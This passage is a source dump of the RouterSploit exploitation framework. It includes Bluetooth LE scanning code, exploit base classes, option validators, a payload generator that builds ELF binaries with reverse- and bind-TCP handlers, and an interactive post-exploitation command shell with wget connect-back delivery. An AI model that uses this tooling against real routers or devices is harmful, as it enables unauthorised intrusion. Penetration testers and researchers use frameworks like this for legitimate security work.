Light", 1426: "Shelves Light", 1427: "High-bay / Low-bay Light", 1428: "Emergency Exit Light", 1472: "Generic Fan", 1473: "Ceiling Fan", 1474: "Axial Fan", 1475: "Exhaust Fan", 1476: "Pedestal Fan", 1477: "Desk Fan", 1478: "Wall Fan", 1536: "Generic HVAC", 1537: "Thermostat", 1600: "Generic Air Conditioning", 1664: "Generic Humidifier", 1728: "Generic Heating", 1729: "Radiator", 1730: "Boiler", 1731: "Heat Pump", 1732: "Infrared Heater", 1733: "Radiant Panel Heater", 1734: "Fan Heater", 1735: "Air Curtain", 1792: "Generic Access Control", 1793: "Access Door", 1794: "Garage Door", 1795: "Emergency Exit Door", 1796: "Access Lock", 1797: "Elevator", 1798: "Window", 1799: "Entrance Gate", 1856: "Generic Motorized Device", 1857: "Motorized Gate", 1858: "Awning", 1859: "Blinds or Shades", 1860: "Curtains", 1861: "Screen", 1920: "Generic Power Device", 1921: "Power Outlet", 1922: "Power Strip", 1923: "Plug", 1924: "Power Supply", 1925: "LED Driver", 1926: "Fluorescent Lamp Gear", 1927: "HID Lamp Gear", 1984: "Generic Light Source", 1985: "Incandescent Light Bulb", 1986: "LED Bulb", 1987: "HID Lamp", 1988: "Fluorescent Lamp", 1989: "LED Array", 1990: "Multi-Color LED Array", 3136: "Generic: Pulse Oximeter", 3137: "Fingertip", 3138: "Wrist Worn", 3200: "Generic: Weight Scale", 3264: "Generic", 3265: "Powered Wheelchair", 3266: "Mobility Scooter", 3328: "Generic", 5184: "Generic: Outdoor Sports Activity", 5185: "Location Display Device", 5186: "Location and Navigation Display Device", 5187: "Location Pod", 5188: "Location and Navigation Pod", } try: code = struct.unpack("h", data)[0] if code in appearance.keys(): return color_green(appearance[code]) except Exception: pass return repr(data) routersploit-master/routersploit/core/bluetooth/btle/btle_scanner.py000066400000000000000000000040431400750623600265750ustar00rootroot00000000000000import time import binascii from bluepy.btle import Scanner, DefaultDelegate from .btle_device import Device class BTLEScanner(Scanner): """ Bluetooth Low Energy Scanner """ def __init__(self, mac=None, iface=0): Scanner.__init__(self, iface) self.mac = mac def _decode_address(self, resp): addr = binascii.b2a_hex(resp["addr"][0]).decode("utf-8") return ":".join([addr[i: i + 2] for i in range(0, 12, 2)]) def _find_or_create(self, addr): if addr in self.scanned: dev = self.scanned[addr] else: dev = Device(addr, self.iface) self.scanned[addr] = dev return dev def process(self, timeout=10.0): start = time.time() while True: if timeout: remain = start + timeout - time.time() if remain <= 0.0: break else: remain = None resp = self._waitResp(["scan", "stat"], remain) if resp is None: break respType = resp["rsp"][0] if respType == "stat": if resp["state"][0] == "disc": self._mgmtCmd("scan") elif respType == "scan": addr = self._decode_address(resp) if not self.mac or addr == self.mac: dev = self._find_or_create(addr) newData = dev._update(resp) if self.delegate: self.delegate.handleDiscovery(dev, (dev.updateCount <= 1), newData) if self.mac and dev.addr == self.mac: break class ScanDelegate(DefaultDelegate): def __init__(self, options): DefaultDelegate.__init__(self) self.options = options def handleDiscovery(self, dev, isNewDev, isNewData): if not isNewDev: return elif self.options.mac and dev.addr != self.options.mac: return if self.options.buffering: dev.print_info() routersploit-master/routersploit/core/bluetooth/btle_client.py000066400000000000000000000025731400750623600255020ustar00rootroot00000000000000from routersploit.core.exploit.exploit import Exploit from routersploit.core.exploit.option import OptInteger from routersploit.core.exploit.printer import ( print_error, print_status ) from routersploit.core.bluetooth.btle import ( ScanDelegate, BTLEScanner ) class Options: """ Options used by the scanner """ def __init__(self, buffering, mac, enum_services): self.buffering = buffering self.mac = mac self.enum_services = enum_services class BTLEClient(Exploit): """ Bluetooth Low Energy Client implementation """ scan_time = OptInteger(10, "Number of seconds to scan for") buffering = False enum_services = False def btle_scan(self, mac=None): """ Scans for Bluetooth Low Energy devices """ options = Options( self.buffering, mac, self.enum_services ) scanner = BTLEScanner(options.mac).withDelegate(ScanDelegate(options)) if options.mac: print_status("Scanning BTLE device...") else: print_status("Scanning for BTLE devices...") devices = [] try: devices = [res for res in scanner.scan(self.scan_time)] except Exception as err: print_error("Error: {}".format(err)) print_error("Check if your bluetooth hardware is connected") return devices routersploit-master/routersploit/core/exploit/000077500000000000000000000000001400750623600223145ustar00rootroot00000000000000routersploit-master/routersploit/core/exploit/__init__.py000066400000000000000000000014721400750623600244310ustar00rootroot00000000000000from routersploit.core.exploit.exploit import ( Exploit, multi, mute, LockedIterator, ) from routersploit.core.exploit.option import ( OptIP, OptPort, OptInteger, OptFloat, OptBool, OptString, OptMAC, OptWordlist, ) from routersploit.core.exploit.printer import ( print_info, print_status, print_success, print_error, print_table, ) from routersploit.core.exploit import utils from routersploit.core.exploit.shell import shell __all__ = [ "Exploit", "multi", "mute", "LockedIterator", "OptIP", "OptPort", "OptInteger", "OptFloat", "OptBool", "OptString", "OptMAC", "OptWordlist", "print_info", "print_status", "print_success", "print_error", "print_table", "utils", "shell", ] routersploit-master/routersploit/core/exploit/encoders.py000066400000000000000000000011521400750623600244670ustar00rootroot00000000000000from routersploit.core.exploit.exploit import ( BaseExploit, ) from routersploit.core.exploit.printer import ( print_error, ) class BaseEncoder(BaseExploit): architecture = None def __init__(self): self.module_name = self.__module__.replace("routersploit.modules.encoders.", "").replace(".", "/") def encode(self): raise NotImplementedError("Please implement 'encode()' method") def run(self): print_error("Module cannot be run") def __str__(self): return self.module_name def __format__(self, form): return format(self.module_name, form) routersploit-master/routersploit/core/exploit/exceptions.py000066400000000000000000000004071400750623600250500ustar00rootroot00000000000000class RoutersploitException(Exception): def __init__(self, msg: str = ""): super(RoutersploitException, self).__init__(msg) class OptionValidationError(RoutersploitException): pass class StopThreadPoolExecutor(RoutersploitException): pass routersploit-master/routersploit/core/exploit/exploit.py000066400000000000000000000145571400750623600243660ustar00rootroot00000000000000import os import threading import time from future.utils import with_metaclass, iteritems from itertools import chain from functools import wraps from routersploit.core.exploit.printer import ( print_status, thread_output_stream, ) from routersploit.core.exploit.option import Option GLOBAL_OPTS = {} class Protocol: CUSTOM = "custom" TCP = "custom/tcp" UDP = "custom/udp" FTP = "ftp" FTPS = "ftps" SSH = "ssh" TELNET = "telnet" HTTP = "http" HTTPS = "https" SNMP = "snmp" class ExploitOptionsAggregator(type): """ Metaclass for exploit base class. Metaclass is aggregating all possible Attributes that user can set for tab completion purposes. """ def __new__(cls, name, bases, attrs): try: base_exploit_attributes = chain([base.exploit_attributes for base in bases]) except AttributeError: attrs["exploit_attributes"] = {} else: attrs["exploit_attributes"] = {k: v for d in base_exploit_attributes for k, v in iteritems(d)} for key, value in iteritems(attrs.copy()): if isinstance(value, Option): value.label = key attrs["exploit_attributes"].update({key: [value.display_value, value.description, value.advanced]}) elif key == "__info__": attrs["_{}{}".format(name, key)] = value del attrs[key] elif key in attrs["exploit_attributes"]: # removing exploit_attribtue that was overwritten del attrs["exploit_attributes"][key] # in the child and is not an Option() instance return super(ExploitOptionsAggregator, cls).__new__(cls, name, bases, attrs) class BaseExploit(with_metaclass(ExploitOptionsAggregator, object)): @property def options(self): """ Returns list of options that user can set. Returns list of options aggregated by ExploitionOptionsAggegator metaclass that user can set. :return: list of options that user can set """ return list(self.exploit_attributes.keys()) def __str__(self): return self.__module__.split('.', 2).pop().replace('.', os.sep) class Exploit(BaseExploit): """ Base class for exploits """ target_protocol = Protocol.CUSTOM def run(self): raise NotImplementedError("You have to define your own 'run' method.") def check(self): raise NotImplementedError("You have to define your own 'check' method.") def run_threads(self, threads_number: int, target_function: any, *args, **kwargs) -> None: """ Run function across specified number of threads :param int thread_number: number of threads that should be executed :param func target_function: function that should be executed accross specified number of threads :param any args: args passed to target_function :param any kwargs: kwargs passed to target function :return None """ threads = [] threads_running = threading.Event() threads_running.set() for thread_id in range(int(threads_number)): thread = threading.Thread( target=target_function, args=chain((threads_running,), args), kwargs=kwargs, name="thread-{}".format(thread_id), ) threads.append(thread) # print_status("{} thread is starting...".format(thread.name)) thread.start() start = time.time() try: while thread.is_alive(): thread.join(1) except KeyboardInterrupt: threads_running.clear() for thread in threads: thread.join() # print_status("{} thread is terminated.".format(thread.name)) print_status("Elapsed time: {0:.4f} seconds".format(round(time.time() - start, 2))) def multi(fn): """ Decorator for exploit.Exploit class Decorator that allows to feed exploit using text file containing multiple targets definition. Decorated function will be executed as many times as there is targets in the feed file. WARNING: Important thing to remember is fact that decorator will supress values returned by decorated function. Since method that perform attack is not supposed to return anything this is not a problem. """ @wraps(fn) def wrapper(self, *args, **kwargs): if self.target.startswith("file://"): original_target = self.target original_port = self.port _, _, feed_path = self.target.partition("file://") try: with open(feed_path) as file_handler: for target in file_handler: target = target.strip() if not target: continue self.target, _, port = target.partition(":") if port: self.port = port else: self.port = original_port fn(self, *args, **kwargs) self.target = original_target self.port = original_port return # Nothing to return, ran multiple times except IOError: return else: return fn(self, *args, **kwargs) return wrapper class DummyFile(object): """ Mocking file object. Optimilization for the "mute" decorator. """ def write(self, x): pass def mute(fn): """ Suppress function from printing to sys.stdout """ @wraps(fn) def wrapper(self, *args, **kwargs): thread_output_stream.setdefault(threading.current_thread(), []).append(DummyFile()) try: return fn(self, *args, **kwargs) finally: thread_output_stream[threading.current_thread()].pop() return wrapper class LockedIterator(object): def __init__(self, it): self.lock = threading.Lock() self.it = it.__iter__() def __iter__(self): return self def next(self): self.lock.acquire() try: item = next(self.it) if type(item) is tuple: return (item[0].strip(), item[1].strip()) elif type(item) is str: return item.strip() return item finally: self.lock.release() routersploit-master/routersploit/core/exploit/option.py000066400000000000000000000126111400750623600241770ustar00rootroot00000000000000import re import os.path from routersploit.core.exploit.exceptions import OptionValidationError from routersploit.core.exploit.utils import ( is_ipv4, is_ipv6, ) class Option(object): """ Exploit attribute that is set by the end user """ def __init__(self, default, description="", advanced=False): self.label = None self.description = description try: self.advanced = bool(advanced) except ValueError: raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced)) if default or default == 0: self.__set__("", default) else: self.display_value = "" self.value = "" def __get__(self, instance, owner): return self.value class OptIP(Option): """ Option IP attribute """ def __set__(self, instance, value): if not value or is_ipv4(value) or is_ipv6(value): self.value = self.display_value = value else: raise OptionValidationError("Invalid address. Provided address is not valid IPv4 or IPv6 address.") class OptPort(Option): """ Option Port attribute """ def __set__(self, instance, value): try: value = int(value) if 0 < value <= 65535: # max port number is 65535 self.display_value = str(value) self.value = value else: raise OptionValidationError("Invalid option. Port value should be between 0 and 65536.") except ValueError: raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value)) class OptBool(Option): """ Option Bool attribute """ def __init__(self, default, description="", advanced=False): self.description = description if default: self.display_value = "true" else: self.display_value = "false" self.value = default try: self.advanced = bool(advanced) except ValueError: raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced)) def __set__(self, instance, value): if value == "true": self.value = True self.display_value = value elif value == "false": self.value = False self.display_value = value else: raise OptionValidationError("Invalid value. It should be true or false.") class OptInteger(Option): """ Option Integer attribute """ def __set__(self, instance, value): try: self.display_value = str(value) self.value = int(value) except ValueError: try: self.value = int(value, 16) except ValueError: raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value)) class OptFloat(Option): """ Option Float attribute """ def __set__(self, instance, value): try: self.display_value = str(value) self.value = float(value) except ValueError: raise OptionValidationError("Invalid option. Cannot cast '{}' to float.".format(value)) class OptString(Option): """ Option String attribute """ def __set__(self, instance, value): try: self.value = self.display_value = str(value) except ValueError: raise OptionValidationError("Invalid option. Cannot cast '{}' to string.".format(value)) class OptMAC(Option): """ Option MAC attribute """ def __set__(self, instance, value): regexp = r"^[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}$" if re.match(regexp, value.lower()): self.value = self.display_value = value else: raise OptionValidationError("Invalid option. '{}' is not a valid MAC address".format(value)) class OptWordlist(Option): """ Option Wordlist attribute """ def __get__(self, instance, owner): if self.display_value.startswith("file://"): path = self.display_value.replace("file://", "") with open(path, "r") as f: lines = [line.strip() for line in f.readlines()] return lines return self.display_value.split(",") def __set__(self, instance, value): if value.startswith("file://"): path = value.replace("file://", "") if not os.path.exists(path): raise OptionValidationError("File '{}' does not exist.".format(path)) self.value = self.display_value = value class OptEncoder(Option): """ Option Encoder attribute """ def __init__(self, default, description="", advanced=False): self.description = description if default: self.display_value = default self.value = default else: self.display_value = "" self.value = None try: self.advanced = bool(advanced) except ValueError: raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced)) def __set__(self, instance, value): encoder = instance.get_encoder(value) if encoder: self.value = encoder self.display_value = value else: raise OptionValidationError("Encoder not available. Check available encoders with `show encoders`.") routersploit-master/routersploit/core/exploit/payloads.py000066400000000000000000000210111400750623600244750ustar00rootroot00000000000000import importlib from collections import namedtuple from struct import pack from future.utils import with_metaclass from routersploit.core.exploit.exploit import ( BaseExploit, ExploitOptionsAggregator, ) from routersploit.core.exploit.option import ( OptIP, OptPort, OptString, ) from routersploit.core.exploit.exceptions import OptionValidationError from routersploit.core.exploit.printer import ( print_status, print_error, print_success, print_info, ) from routersploit.core.exploit.utils import ( index_modules, random_text, ) architectures = namedtuple("ArchitectureType", ["ARMLE", "MIPSBE", "MIPSLE", "X86", "X64", "PERL", "PHP", "PYTHON"]) Architectures = architectures( ARMLE="armle", MIPSBE="mipsbe", MIPSLE="mipsle", X86="x86", X64="x64", PERL="perl", PHP="php", PYTHON="python", ) payload_handlers = namedtuple("PayloadHandlers", ["BIND_TCP", "REVERSE_TCP"]) PayloadHandlers = payload_handlers( BIND_TCP="bind_tcp", REVERSE_TCP="reverse_tcp", ) ARCH_ELF_HEADERS = { Architectures.ARMLE: ( b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" b"\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00\x00\x00" b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00" b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00" b"\x00\x80\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00" b"\x00\x10\x00\x00" ), Architectures.MIPSBE: ( b"\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" b"\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00\x00\x34" b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00" b"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00" b"\x00\x40\x00\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x00\x00\x00\x07" b"\x00\x00\x10\x00" ), Architectures.MIPSLE: ( b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" b"\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00\x00\x00" b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00" b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00" b"\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00" b"\x00\x10\x00\x00" ), Architectures.X86: ( b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" b"\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00" b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00" b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08" b"\x00\x80\x04\x08\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00" b"\x00\x10\x00\x00" ), Architectures.X64: ( b"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" b"\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00" b"\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b"\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00" b"\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b"\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00" b"\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42" b"\x00\x10\x00\x00\x00\x00\x00\x00" ) } class ReverseTCPPayloadMixin(with_metaclass(ExploitOptionsAggregator, object)): handler = PayloadHandlers.REVERSE_TCP lhost = OptIP('', 'Connect-back IP address') lport = OptPort(5555, 'Connect-back TCP Port') class BindTCPPayloadMixin(with_metaclass(ExploitOptionsAggregator, object)): handler = PayloadHandlers.BIND_TCP rport = OptPort(5555, 'Bind Port') class BasePayload(BaseExploit): architecture = None handler = None encoder = OptString("", "Encoder") fmt = None def __init__(self): if self.handler not in PayloadHandlers: raise OptionValidationError( "Please use one of valid payload handlers: {}".format( PayloadHandlers._fields ) ) def generate(self): raise NotImplementedError("Please implement 'generate()' method") def run(self): raise NotImplementedError() def get_encoders(self): encoders = [] # get all encoders for given architecture all_encoders = [e for e in index_modules() if "encoders.{}".format(self.architecture) in e] for e in all_encoders: encoder = e.replace("encoders.{}.".format(self.architecture), "").replace(".", "/") module = getattr(importlib.import_module('routersploit.modules.' + e), "Encoder") encoders.append(( "{}/{}".format(self.architecture, encoder), module._Encoder__info__["name"], module._Encoder__info__["description"], )) return encoders def get_encoder(self, encoder): module_path = "routersploit/modules/encoders/{}".format(encoder).replace("/", ".") try: module = getattr(importlib.import_module(module_path), "Encoder") except ImportError: return None return module() class ArchitectureSpecificPayload(BasePayload): output = OptString("python", "Output type: elf/c/python") filepath = OptString("/tmp/{}".format(random_text(8)), "Output file to write") def __init__(self): super(ArchitectureSpecificPayload, self).__init__() if self.architecture not in Architectures: raise OptionValidationError( "Please use one of valid payload architectures: {}".format( Architectures._fields ) ) self.header = ARCH_ELF_HEADERS[self.architecture] self.bigendian = True if self.architecture.endswith("be") else False def run(self): print_status("Generating payload") try: data = self.generate() except OptionValidationError as e: print_error(e) return if self.output == "elf": with open(self.filepath, "wb+") as f: print_status("Building ELF payload") content = self.generate_elf(data) print_success("Saving file {}".format(self.filepath)) f.write(content) elif self.output == "c": print_success("Bulding payload for C") content = self.generate_c(data) print_info(content) elif self.output == "python": print_success("Building payload for python") content = self.generate_python(data) print_info(content) else: raise OptionValidationError( "No such option as {}".format(self.output) ) return content def generate_elf(self, data): elf = self.header + data if elf[4] == 1: # ELFCLASS32 - 32 bit if self.bigendian: p_filesz = pack(">L", len(elf)) p_memsz = pack(">L", len(elf) + len(data)) else: p_filesz = pack("Q", len(elf)) p_memsz = pack(">Q", len(elf) + len(data)) else: p_filesz = pack(" None: """ Print error message prefixing it with [-] """ __cprint("\033[91m[-]\033[0m", *args, **kwargs) def print_status(*args, **kwargs) -> None: """ Print status message prefixing it with [-] """ __cprint("\033[94m[*]\033[0m", *args, **kwargs) def print_success(*args, **kwargs) -> None: """ Print success message prefixing it with [-] """ __cprint("\033[92m[+]\033[0m", *args, **kwargs) def print_info(*args, **kwargs) -> None: """ Print info message prefixing it with [-] """ __cprint(*args, **kwargs) def print_table(headers, *args, **kwargs) -> None: """ Print table. example: Name Current setting Description ---- --------------- ----------- option_name value description foo bar baz foo bar baz :param headers: Headers names ex.('Name, 'Current setting', 'Description') :param args: table values, each element representing one line ex. ('option_name', 'value', 'description), ... :param kwargs: 'extra_fill' space between columns, 'header_separator' character to separate headers from content :return: """ extra_fill = kwargs.get("extra_fill", 5) header_separator = kwargs.get("header_separator", "-") if not all(map(lambda x: len(x) == len(headers), args)): print_error("Headers and table rows tuples should be the same length.") return def custom_len(x): try: return len(x) except TypeError: return 0 fill = [] headers_line = ' ' headers_separator_line = ' ' for idx, header in enumerate(headers): column = [custom_len(arg[idx]) for arg in args] column.append(len(header)) current_line_fill = max(column) + extra_fill fill.append(current_line_fill) headers_line = "".join((headers_line, "{header:<{fill}}".format(header=header, fill=current_line_fill))) headers_separator_line = "".join(( headers_separator_line, "{:<{}}".format(header_separator * len(header), current_line_fill) )) print_info() print_info(headers_line) print_info(headers_separator_line) for arg in args: content_line = " " for idx, element in enumerate(arg): content_line = "".join(( content_line, "{:<{}}".format(element, fill[idx]) )) print_info(content_line) print_info() def pprint_dict_in_order(dictionary, order=None) -> None: """ Pretty dict print. Pretty printing dictionary in specific order. (as in 'show info' command) Keys not mentioned in *order* parameter will be printed in random order. ex. pprint_dict_in_order({'name': John, 'sex': 'male', "hobby": ["rugby", "golf"]}, ('sex', 'name')) Sex: male Name: John Hobby: - rugby - golf """ order = order or () def prettyprint(title, body): print_info("\n{}:".format(title.capitalize())) if not isinstance(body, str): for value_element in body: print_info("- ", value_element) else: print_info(body) keys = list(dictionary.keys()) for element in order: try: key = keys.pop(keys.index(element)) value = dictionary[key] except (KeyError, ValueError): pass else: prettyprint(element, value) for rest_keys in keys: prettyprint(rest_keys, dictionary[rest_keys]) def color_blue(string: str) -> str: """ Returns string colored with blue :param str string: :return str: """ return "\033[94m{}\033[0m".format(string) def color_green(string: str) -> str: """ Returns string colored with green :param str string: :return str: """ return "\033[92m{}\033[0m".format(string) def color_red(string: str) -> str: """ Returns string colored with red :param str string: :return str: """ return "\033[91m{}\033[0m".format(string) routersploit-master/routersploit/core/exploit/shell.py000066400000000000000000000322621400750623600240020ustar00rootroot00000000000000import socket import telnetlib import binascii from http.server import BaseHTTPRequestHandler, HTTPServer import threading import time import importlib from routersploit.core.exploit.printer import ( printer_queue, print_info, print_error, print_success, print_status, print_table, ) from routersploit.core.exploit.utils import ( index_modules, random_text, ) def shell(exploit, architecture="", method="", payloads=None, **params): available_payloads = {} payload = None options = [] if architecture and method: # get all payloads for given architecture all_payloads = [p.replace("payloads.", "").replace(".", "/") for p in index_modules() if "payloads.{}".format(architecture) in p] for p in all_payloads: module = getattr(importlib.import_module("routersploit.modules.payloads." + p.replace("/", ".")), "Payload") # if method/arch is cmd then filter out payloads if method == "cmd": if getattr(module, "cmd") in payloads: available_payloads[p] = module else: available_payloads[p] = module print_info() print_success("Welcome to cmd. Commands are sent to the target via the execute method.") print_status("For further exploitation use 'show payloads' and 'set payload ' commands.") print_info() while True: while not printer_queue.empty(): pass if payload is None: cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > " else: cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(payload._Payload__info__["name"]) cmd = input(cmd_str) if cmd in ["quit", "exit"]: return elif cmd == "show payloads": if not available_payloads: print_error("There are no available payloads for this exploit") continue print_status("Available payloads:") headers = ("Payload", "Name", "Description") data = [] for p in available_payloads.keys(): data.append((p, available_payloads[p]._Payload__info__["name"], available_payloads[p]._Payload__info__["description"])) print_table(headers, *data) elif cmd.startswith("set payload "): if not available_payloads: print_error("There are no available payloads for this exploit") continue c = cmd.split(" ") if c[2] in available_payloads.keys(): payload = available_payloads[c[2]]() options = [] for option in payload.exploit_attributes.keys(): if option not in ["output", "filepath"]: options.append([option, getattr(payload, option), payload.exploit_attributes[option][1]]) if payload.handler == "bind_tcp": options.append(["rhost", exploit.target, "Target IP address"]) if method == "wget": options.append(["lhost", "", "Connect-back IP address for wget"]) options.append(["lport", 4545, "Connect-back Port for wget"]) else: print_error("Payload not available") elif payload is not None: if cmd == "show options": headers = ("Name", "Current settings", "Description") print_info('\nPayload Options:') print_table(headers, *options) print_info() elif cmd.startswith("set "): c = cmd.split(" ") if len(c) != 3: print_error("set